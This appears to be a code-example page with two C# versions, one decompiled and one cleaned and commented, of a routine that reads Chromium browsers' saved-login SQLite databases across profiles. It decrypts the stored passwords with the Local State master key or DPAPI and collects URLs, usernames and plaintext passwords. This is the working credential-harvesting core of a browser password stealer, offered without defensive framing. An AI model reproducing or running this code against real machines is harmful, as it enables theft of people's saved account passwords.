Пример #1
0
        // Token: 0x0600025C RID: 604 RVA: 0x00012204 File Offset: 0x00010404
        private static List <Account> smethod_0(string string_0, string string_1, string string_2 = "logins")
        {
            List <string>  list  = Chromium.smethod_1(string_0);
            List <Account> list2 = new List <Account>();

            foreach (string text in list.ToArray())
            {
                if (File.Exists(text))
                {
                    SQLiteHandler sqliteHandler;
                    try
                    {
                        sqliteHandler = new SQLiteHandler(text);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                        goto IL_177;
                    }
                    if (sqliteHandler.ReadTable(string_2))
                    {
                        for (int num = 0; num <= sqliteHandler.GetRowCount() - 1; num++)
                        {
                            try
                            {
                                string value  = sqliteHandler.GetValue(num, "origin_url");
                                string value2 = sqliteHandler.GetValue(num, "username_value");
                                string text2  = sqliteHandler.GetValue(num, "password_value");
                                if (text2 != null)
                                {
                                    if (text2.StartsWith("v10") || text2.StartsWith("v11"))
                                    {
                                        byte[] masterKey = Chromium.GetMasterKey(Directory.GetParent(text).Parent.FullName);
                                        if (masterKey == null)
                                        {
                                            goto IL_180;
                                        }
                                        text2 = Chromium.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey);
                                    }
                                    else
                                    {
                                        text2 = Chromium.Decrypt(text2);
                                    }
                                    if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(text2))
                                    {
                                        list2.Add(new Account
                                        {
                                            URL         = value,
                                            UserName    = value2,
                                            Password    = text2,
                                            Application = string_1
                                        });
                                    }
                                    goto IL_180;
                                }
                                goto IL_180;
                            }
                            catch (Exception ex2)
                            {
                                Console.WriteLine(ex2.ToString());
                                goto IL_180;
                            }
                            break;
                            IL_180 :;
                        }
                    }
                }
                IL_177 :;
            }
            return(list2);
        }
        private static List <Account> Accounts(string path, string browser, string table = "logins")
        {
            //Get all created profiles from browser path
            List <string> loginDataFiles = GetAllProfiles(path);

            List <Account> data = new List <Account>();

            foreach (string loginFile in loginDataFiles.ToArray())
            {
                if (!File.Exists(loginFile))
                {
                    continue;
                }

                SQLiteHandler SQLDatabase;

                try
                {
                    SQLDatabase = new SQLiteHandler(loginFile); //Open database with Sqlite
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                    continue;
                }

                if (!SQLDatabase.ReadTable(table))
                {
                    continue;
                }

                for (int I = 0; I <= SQLDatabase.GetRowCount() - 1; I++)
                {
                    try
                    {
                        //Get values with row number and column name
                        string host     = SQLDatabase.GetValue(I, "origin_url");
                        string username = SQLDatabase.GetValue(I, "username_value");
                        string password = SQLDatabase.GetValue(I, "password_value");

                        if (password != null)
                        {
                            //check v80 password signature. its starting with v10 or v11
                            if (password.StartsWith("v10") || password.StartsWith("v11"))
                            {
                                //Local State file located in the parent folder of profile folder.
                                byte[] masterKey = GetMasterKey(Directory.GetParent(loginFile).Parent.FullName);

                                if (masterKey == null)
                                {
                                    continue;
                                }

                                password = DecryptWithKey(Encoding.Default.GetBytes(password), masterKey);
                            }
                            else
                            {
                                password = Decrypt(password); //Old versions using UnprotectData for decryption without any key
                            }
                        }
                        else
                        {
                            continue;
                        }

                        if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password))
                        {
                            data.Add(new Account()
                            {
                                URL = host, UserName = username, Password = password, Application = browser
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
            }

            return(data);
        }